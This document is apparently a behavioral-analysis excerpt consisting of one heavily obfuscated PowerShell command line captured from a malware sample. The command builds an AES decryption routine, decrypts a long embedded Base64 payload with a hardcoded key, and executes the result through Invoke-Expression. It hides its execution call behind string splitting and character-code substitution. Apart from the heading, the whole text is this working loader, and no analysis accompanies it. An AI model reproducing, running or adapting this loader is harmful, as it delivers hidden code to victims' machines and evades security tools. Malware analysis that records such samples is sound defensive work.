Behavioral Analysis

powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI87355924191917571657221755980918CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIuNSTmXUI0HgFw3fdM1ERT/tun0uBDlOiQyHJlmXQIhnecjctgQ65PlKspfuRkCDRjEPH4Ihki2Ib6LDmK9phm3xXkeNi+fcKsxPwgqQcHOTbxmi5gehOXzdiLKULSMHsRGtrAT4hLirjCliJFHhPPoPAD8WrrNJOauPIbQ8LjKCbYXN79XvsHb07Yd11FEz/xBrM4eb0d6oDjgTxHYLrzF6J4EfbA9GRGmdc4tkwy2zlMYr0bFEZ+TXcIkX6MoawoDSDQCJz8W7GBp0wX7cDBpIBhIxab4r+prVGaCCG+0+3uEp7n/keTDVANuLUjK7WM0vFCbyd/wVRtzF4youZwmOc3oaCF/JrShl+say08x0QppsCNvWz86ojjUOePGJsv67aspbPc+MT7ExHDG3Nzcev9OvNfYyq2MjA+OyHp/F7vijb0t7gbDYnwMe4HIfBgRkZkghh0vLgZbfSOZQmmNYaTrwwNG1StWUKeon1TmwO+GG02RY5xYL9dVsfOHoro3YjN0N+knyfSiTSLd8VpRGssVO3vdtrX83PC61AEKuwGmOKozlk3nzEbypC+P8jH/rC5lWjA5zr77TSv/3mL20F7OS9KdMcYBjEGjeQBi2Go74vJ2WeLC1Ow7MmkVoHZMjPL4LBdcCDe3+RcMbiLQBYCalcm5AUNss21ha2+mb9sY0foP8Ez4UEfMsUX1rlQ2L4c8NimJOaGijgqysi/8/4pvNnD/sDhqf9Jv/RJy+DJdtvGCjd3eg+777E0i3Zy2WWu4edO5corcrRaO0QH5KUcez0fY+pfnv3ycP5Njlg3ee0PHZw6sMPAER25mwo6SdwnN/dBC6KJXCNuDMBO0NSgE1NaaMlVsvxYB09SoTLfOQfkI1HTVgxNTWGoMCwSo9fQJZ6v2G6lGAw0fSjKOC9ekynuz2I6aDEVQhjeBtb0xHr2FEqYELQ/pZpkSkEkGIt2Hk3LvIWcMIenJWqnjfen61s15Yu2EdgjIt9Mn3N8vSlm2edKYHvSDcmrf7Gu/P8wb6OKnXNHosYcBbbFwXBRtzLtR07JaIq87PiGQKXkLtiP+St5jLN1RKHuViNAKANGwfM28rb84mkuqGiXByiubZnTAtp97cvhahwn4PXpi1Kez7/kbaDDKXCvVKN3TK4hLXC8Ot+rpc8CCzkwpZACGoSzxk3WPrLHnyjTQ6zn0qE6SrOQCIe3FfGGvicERREowxQvbpIw9uSzA17OsC636M5zXSToQgHiyAkm/dDk+wHfmDJGIsVE2wRGDtoq0Qt+tGgtB9Bi3fKJGvPBCuWm1jPuHv/LpyDiDNqEldTLSKZiQIIVm6lT/bYy7Al9K4rBqB6iJEpuxyHndJU46lXfgraSgD2XgA6ahTGriaCII6EAxgJSunErp5iVOk6tfQCtMutwbB720ZK5BpUkQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')